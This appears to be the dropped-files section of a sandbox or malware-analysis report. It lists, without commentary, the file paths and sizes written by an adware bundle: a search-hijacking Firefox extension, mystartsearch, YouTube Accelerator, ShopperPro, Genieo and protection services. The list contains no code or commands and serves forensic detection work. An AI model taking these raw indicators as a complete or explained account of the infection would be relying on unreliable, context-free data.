    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\BFVUpdateM.dll (110 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\module\stat.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg1.png (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\422.json (520 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\ru\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\Thumbs.db (27 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\style.css (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\143D.tmp (114 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg.png (673 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\13FD.tmp (113 bytes)
    C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button1.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\install.rdf (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\index.html (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\defaults\preferences\preferences.js (379 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\settings.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
    %Program Files% (x86)\Mozilla Firefox\browser\searchplugins\mystartsearch.xml (565 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\scrollbar.bmp (37 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\newtab.ico (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome.manifest (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\defaults\preferences\fvd.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\unchecked.png (135 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\es-419\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\vi\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\google_trends.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code3.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\quick_start.js (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\Thumbs.db (42 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_light.png (139 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (480 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\addonmanager.js (531 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\close.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\default_logo.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\loading.gif (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\141D.tmp (113 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\min.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\include\speed_dial.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code4.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\uninstallDlg2.xml (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code6.jpg (5 bytes)
    C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\MessageBox.xml (3 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\icon.png (628 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\en-US\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\es\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe (14022 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox.png (545 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\quick_start.xul (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\144E.tmp (114 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\tr\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\pl\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\googlelogo.png (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\include\tools\misc.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\logo.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\misc.js (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code2.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\fr\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
    %Program Files% (x86)\YTAHelper\config.json (486 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8413 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskADBD.tmp (6514 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (79 bytes)
    C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_23388\ins_postInst.exe (7726 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_23388\ins_postInst.exe (7726 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_30485\ins_shopperpro.exe (19474 bytes)
    C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
    %Program Files% (x86)\XTab\CmdShell.exe (49 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3868.log_tmp (815 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2537.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2548.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (86 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2500.tmp (682 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2638.tmp (50 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3868_testlsp.log_tmp (23 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2660.tmp (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2521.tmp (50 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk25F8.tmp (682 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk25D7.tmp (242 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2523.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (193189 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3868_testlsp.log_tmp (989 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3868_testlsp.log_tmp (150 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk264A.tmp (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk264E.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_4060.log_tmp (493 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2535.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1800.log (79704 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\SMALLTEST[1].htm (70 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk23C6.tmp (242 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk264C.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_4060_YouTubeAcceleratorService.log_tmp (50 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1800.log_tmp (14 bytes)
    C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\X7YMYSL1.txt (136 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\TVM6O5D4.txt (547 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp (39568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\PD83YL0N.txt (687 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\M287TBMF.txt (687 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Z6RMFJON.txt (687 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\eula-sourceapp[1].htm (4341 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\ga[1].js (24380 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9S5Z42IN.txt (687 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5Z5P01XD.txt (115 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (22888 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\7zip_32[1].png (145 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3MKL3WT5\eula[1].htm (1059 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1CWSF3T2.txt (687 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\eula-mystartsearch[1].htm (1887 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\a023b93ee3ddb84f912034f3917e580f[1].htm (35545 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (72120 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ENHD3R3B.txt (687 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPEY9HD1\tokyoLightGrayStripesBG[1].jpg (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3MKL3WT5\eula-youtubeaccelerator[1].htm (2744 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\VCPZU4Q0.txt (687 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPEY9HD1\tokyo_sprite_full[1].png (1277 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SZEBKIPO.txt (287 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\__utm[1].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\BL9VOU6W.txt (687 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\KYOPFCOR.txt (687 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.6 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.7 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.4 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.5 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.2 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.3 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.0 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.1 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPEY9HD1\__utm[1].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\BVUMBCYW.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\YQ4KZC6U.txt (781 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1G5Z9XDO.txt (781 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3MKL3WT5\tokyoLightGrayStripesBG[1].jpg (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\eula-mystartsearch[2].htm (1871 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\__utm[1].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\CNMY59UX.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\eula[1].htm (1058 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\68KEWF2R.txt (781 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\I965KQP9.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Y0U1T5TO.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.1 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.0 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.3 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.2 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.5 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.4 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.7 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.6 (5224 bytes)
